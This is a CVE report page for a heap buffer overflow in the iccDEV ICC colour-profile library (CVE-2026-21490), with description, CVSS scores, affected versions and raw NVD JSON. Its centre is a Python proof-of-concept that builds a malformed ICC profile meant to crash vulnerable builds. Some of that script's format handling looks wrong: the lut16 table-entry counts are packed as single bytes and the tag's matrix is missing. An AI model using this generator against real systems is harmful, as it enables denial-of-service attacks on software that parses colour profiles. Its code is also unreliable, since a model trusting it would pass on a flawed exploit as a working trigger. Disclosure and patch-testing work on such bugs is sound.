Security Vulnerability Report
中文
CVE-2026-21490 CVSS 6.1 MEDIUM

CVE-2026-21490

Published: 2026-01-06 19:16:08
Last Modified: 2026-01-12 18:28:29

Description

iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. A vulnerability present in versions prior to 2.3.1.2 affects users of the iccDEV library who process ICC color profiles. It results in heap buffer overflow in `CIccTagLut16::Validate()`. Version 2.3.1.2 contains a patch. No known workarounds are available.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV < 2.3.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-21490 PoC - iccDEV heap buffer overflow in CIccTagLut16::Validate() This PoC generates a malformed ICC profile that triggers the vulnerability. """ import struct import os def create_malformed_icc_profile(): """ Create a minimal ICC profile with malformed Lut16 tag to trigger buffer overflow. The vulnerability exists in CIccTagLut16::Validate() when processing oversized input. """ # ICC Profile Header (128 bytes) header = bytearray(128) # Profile size will be set later struct.pack_into('>I', header, 0, 0) # Profile size placeholder # Preferred CMM type header[4:8] = b'lcms' # Profile version header[8:12] = struct.pack('>I', 0x04000000) # Version 4.0.0 # Profile device class header[12:16] = b'mntr' # Monitor profile # Color space header[16:20] = b'RGB ' # PCS header[20:24] = b'Lab ' # Creation date/time header[24:36] = struct.pack('>HHHHHH', 2026, 1, 6, 12, 0, 0) # Profile file signature header[36:40] = b'acsp' # Primary platform header[40:44] = b'MSFT' # Profile flags struct.pack_into('>I', header, 44, 0) # Device manufacturer header[48:52] = b'TEST' # Device model header[52:56] = b'MODL' # Device attributes header[56:64] = b'\x00' * 8 # Rendering intent struct.pack_into('>I', header, 64, 0) # PCS illuminant (D50) header[68:80] = struct.pack('>III', 0x00000000, 0x00000000, 0x00000000) # Profile creator header[80:84] = b'TEST' # Profile ID header[84:100] = b'\x00' * 16 # Tag count tag_count = 1 # Tag table tag_table = bytearray() # Create a malformed Lut16 tag # Tag signature for 'mft1' (lut16Type) lut16_tag_data = bytearray() lut16_tag_data.extend(b'mft1') # Type signature lut16_tag_data.extend(struct.pack('>I', 0)) # Reserved # Input channels lut16_tag_data.extend(struct.pack('>B', 3)) # inputChanCnt # Output channels lut16_tag_data.extend(struct.pack('>B', 3)) # outputChanCnt # CLUT grid points lut16_tag_data.extend(struct.pack('>B', 17)) # clutGridPrec # Input table entries lut16_tag_data.extend(struct.pack('>B', 2)) # inputTableEnt # Output table entries lut16_tag_data.extend(struct.pack('>B', 2)) # outputTableEnt # E00 input table - intentionally oversized to trigger overflow input_table_size = 256 * 256 # Oversized for i in range(input_table_size): lut16_tag_data.extend(struct.pack('>H', i % 65536)) # E01 input table for i in range(input_table_size): lut16_tag_data.extend(struct.pack('>H', (i * 2) % 65536)) # E02 input table for i in range(input_table_size): lut16_tag_data.extend(struct.pack('>H', (i * 3) % 65536)) # CLUT table - oversized clut_size = 17 * 17 * 17 * 3 * 256 # Massive oversized CLUT for i in range(clut_size): lut16_tag_data.extend(struct.pack('>H', i % 65536)) # Output tables - oversized for _ in range(3): for i in range(256 * 256): lut16_tag_data.extend(struct.pack('>H', i % 65536)) # Tag signature for 'mft1' tag_signature = b'mft1' # Tag offset and size tag_offset = 128 + 4 + tag_count * 12 # Header + tag count + tag table tag_size = len(lut16_tag_data) # Add to tag table tag_table.extend(tag_signature) tag_table.extend(struct.pack('>I', tag_offset)) tag_table.extend(struct.pack('>I', tag_size)) # Build profile profile = header profile.extend(struct.pack('>I', tag_count)) # Tag count profile.extend(tag_table) # Tag table profile.extend(lut16_tag_data) # Tag data # Update profile size in header struct.pack_into('>I', profile, 0, len(profile)) return bytes(profile) def main(): print("[*] Generating malicious ICC profile for CVE-2026-21490") print("[*] This PoC creates a malformed Lut16 tag with oversized data") print("[*] Target: CIccTagLut16::Validate() heap buffer overflow") poc_data = create_malformed_icc_profile() output_file = "CVE-2026-21490_malicious.icc" with open(output_file, 'wb') as f: f.write(poc_data) print(f"[+] PoC ICC profile written to: {output_file}") print(f"[+] Profile size: {len(poc_data)} bytes") print("[+] To trigger vulnerability, process this file with vulnerable iccDEV version") print("[!] Note: This PoC may cause application crash when processed") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21490", "sourceIdentifier": "[email protected]", "published": "2026-01-06T19:16:08.177", "lastModified": "2026-01-12T18:28:28.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools that allow for the interaction, manipulation, and application of International Color Consortium (ICC) color management profiles. A vulnerability present in versions prior to 2.3.1.2 affects users of the iccDEV library who process ICC color profiles. It results in heap buffer overflow in `CIccTagLut16::Validate()`. Version 2.3.1.2 contains a patch. No known workarounds are available."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas que permiten la interacción, manipulación y aplicación de perfiles de gestión de color del Consorcio Internacional del Color (ICC). Una vulnerabilidad presente en versiones anteriores a la 2.3.1.2 afecta a los usuarios de la biblioteca iccDEV que procesan perfiles de color ICC. Resulta en un desbordamiento de búfer de pila en 'CIccTagLut16::Validate()'. La versión 2.3.1.2 contiene un parche. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-193"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/7c2cb719a9de1c00844e457e070d657314383ee3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/e91fe722ac54ce497d410153e7405090e0565d7b", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/397", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-9q9c-699q-xr2q", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}